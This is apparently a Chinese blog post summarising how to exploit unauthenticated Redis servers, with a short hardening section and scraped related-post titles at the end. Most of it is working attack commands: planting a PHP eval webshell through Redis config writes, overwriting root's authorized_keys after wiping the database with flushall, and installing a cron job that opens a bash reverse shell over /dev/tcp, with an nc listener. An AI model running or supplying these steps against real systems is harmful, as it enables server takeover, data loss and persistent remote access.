1.未授权访问

2.获取webshell

3.获取root

4.通过redis提权

5.其他的一些利用

6.redis安全配置

测试环境  CentOS 6.5 x64

Redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set - 有序集合)和hash(哈希类型).

这些数据类型都支持push/pop、add/remove及取交集并集和差集更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。

区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

未授权访问

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authoritrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

默认安装redis,其中启动权限就为root。并且是任意ip可以未授权访问。

获取webshell

条件:知道web绝对路径,redis运行的用户需要对web目录要有写的权限

http://10.211.55.10/phpinfo.php

然后通过客户端链接

redis-cli -h 10.211.55.10

config set dir /var/www/html/
set shell <?php eval($_REQUEST[\'syclover\'])?>
config set dbfilename syclover.php
save
exit

存在的问题,如果redis里面的数据量特别大并且前面存在<?php之类的符号

先通过randomkey来查看键值之间的规律,然后可以将数据库备份下来,找到包含<?php的键名,通过keys *str*找到真正的键名,然后去修改这个键名。因为数据量很大所以备份的shell也很大,然后在生成shell的时候,可以设置不超时,并且在生成完成之后就退出。

获取root

victim server CentOS6.6+redis2.4 192.168.192.133
attack server CentOS6.6 192.168.192.132

先在attack server生成一个公钥

ssh-keygen -t rsa -C "redis"

(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt

然后执行

redis-cli -h 192.168.192.133 flushall
cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn

登录redis redis-cli -h 192.168.192.133

CONFIG set dir /root/.shh/
config set dbfilename "authorized_keys"
save
exit

然后就可以使用ssh的私钥登录了

ssh -i redis.pub root@192.168.192.133

缺点:flushall太暴力直接清空数据库,覆盖authorized_keys,导致原有的认证失效。

通过redis提权

获取了一个webshell,但是权限很低,发现存在redis服务但是只能本地访问,然后通过上面的方法可以成功提权。

其他玩法

redis+crontab

redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
echo -e "\n\n*/1 * * * * bash -i  >& /dev/tcp/127.0.0.1/8443 0>&1 \n\n"|redis-cli -x set 1
redis-cli save
nc -lvv 8443

redis安全配置

1.设置只对本机开机bind 127.0.0.1

2.设置密码requirepass tomato

3.修改默认端口12345

4.低权限启动

5.如果需要对外提供服务的话,设置iptables规则

exploit-db上关于Redis的漏洞

渗透测试技巧之Redis漏洞利用总结相关推荐

  1. redis 漏洞利用与防御

    前言 ​ Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描.控制.感染以及用来进行挖矿.勒索等恶意行为,早期网上曾经 ...

  2. 渗透测试中常用端口及利用

    渗透测试中常用端口及利用 端口 服务 入侵方式 21 ftp/tftp/vsftpd文件传输协议 爆破/嗅探/溢出/后门 22 ssh远程连接 爆破/openssh漏洞 23 Telnet远程连接 爆 ...

  3. redis漏洞利用总结

    前言 redis属于非关系型数据库,在开启后默认监听端口为6379.若Redis配置不当可导致攻击者直接获取到服务器的权限. 利用条件:redis以root身份运行,存在未授权访问,弱口令或者口令泄露 ...

  4. 微信小程序渗透测试技巧-小程序解包-反编译

    微信小程序渗透测试技巧-小程序解包-反编译 简述 安装手机模拟器,比如说夜神.MuMu 下载和安装两个应用,微信和RE文件管理器 获取root权限 打开微信,搜索相对应的小程序,然后再打开RE文件管理 ...

  5. 安卓APP和小程序渗透测试技巧总结

    安卓APP和小程序渗透测试技巧总结 免责声明: 安卓7以上抓取https流量包 证书信任 首先安装OpenSSL,此步骤不再赘述,可以参考百度. 然后安装模拟器(我使用的是夜神模拟器). 导出需要的证 ...

  6. Kali Linux Web 渗透测试秘籍 第六章 利用 -- 低悬的果实

    第六章 利用 – 低悬的果实 作者:Gilberto Najera-Gutierrez 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 这章开始我们会开始涉及渗透测试的的利用层面.和漏洞评估的 ...

  7. 安全测试(三) 服务器安全 渗透测试 常规服务器安全漏洞 高危端口暴露、弱口令密码、暴力破解、服务器提权、Mysql数据库提权等 浅谈《社会工程学》实战案例

    文章目录 一.前言 二.服务器安全 高危端口 2.1 端口号(Port number) 2.2 常见端口后及其用途表 2.3 端口号 扫描工具介绍 2.4 端口号 端口说明 攻击技巧 2.5 安全警示 ...

  8. 掌握渗透测试,从Web漏洞靶场搭建开始

    摘要:漏洞靶场,不仅可以帮助我们锻炼渗透测试能力.可以帮助我们分析漏洞形成机理.更可以学习如何修复提高代码能力,同时也可以帮助我们检测各种各样漏洞扫描器的效果. 本文分享自华为云社区<Web漏洞 ...

  9. 渗透测试-Openssl心脏出血漏洞复现

    心脏滴血 早在2014年,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞.在黑客社区,它被命名为"心脏出血",表明网络上出现了"致命内伤".利用该漏 ...

最新文章

  1. mysql数据库目标库_修改mysql数据库的库名
  2. Linux系统下软件包管理四
  3. 苹果:给你36亿,帮我造车
  4. 每次调试都必须clean_如何使用“ The Clean Architecture”每次编写健壮的应用程序...
  5. input标签的值只能两位小数_解决input只能输入金额类型的方案(金额输入框只能输入2位小数)...
  6. 30天提升技术人的写作力-第十七天
  7. 最简单的delphi启动画面(转)
  8. Oracle→数字函数、字符函数、时间函数、SYSDATE、TO_CHAR()、TO_DATE()、TO_NUMBER()、NVLNVL2NULLIF、ROW_NUMBER()
  9. ASP.NET 创建网站地图
  10. 微软MDT 安装与配置(一)
  11. 使用javah 生成.h头文件
  12. Ubuntu镜像名称解释
  13. python编程之条形码生成大全
  14. 3315 时空跳跃者的魔法(一个超级恶心的题目)
  15. acm-(辗转相除法、丢番图方程)2020 China Collegiate Programming Contest Qinhuangdao Site I. Interstellar Hunter
  16. FireStart教程:基于SharePoint的出差报销流程三
  17. 学习Flash制作高射炮游戏
  18. C++| 匠心之作 从0到1入门学编程【视频+课件+笔记+源码】
  19. IO之 java中BIO NIO AIO原理、区别以及应用
  20. “硬脱欧”或引发边界混乱 欧盟呼吁做最坏打算

热门文章

  1. 怎么把cad做的图分享给别人_在线协同文档分享后,别人只能看却不能写怎么办?...
  2. Effective Java之用EnumSet代替位域(三十二)
  3. HashMap 详解
  4. 【最简便解法】1069 微博转发抽奖 (20分)
  5. 9行代码满分 【C语言】 L1-062 幸运彩票 (15分)
  6. [leetcode]26.删除有序数组中的重复项
  7. 数据结构题:根据所给权值设计相应的哈夫曼树,并设计哈夫曼编码
  8. TOMCAT部署项目的方式
  9. 虚拟机登陆别的服务器吗,云服务器只能用虚拟机登录吗
  10. python插件使用教程_Python常用扩展插件使用教程解析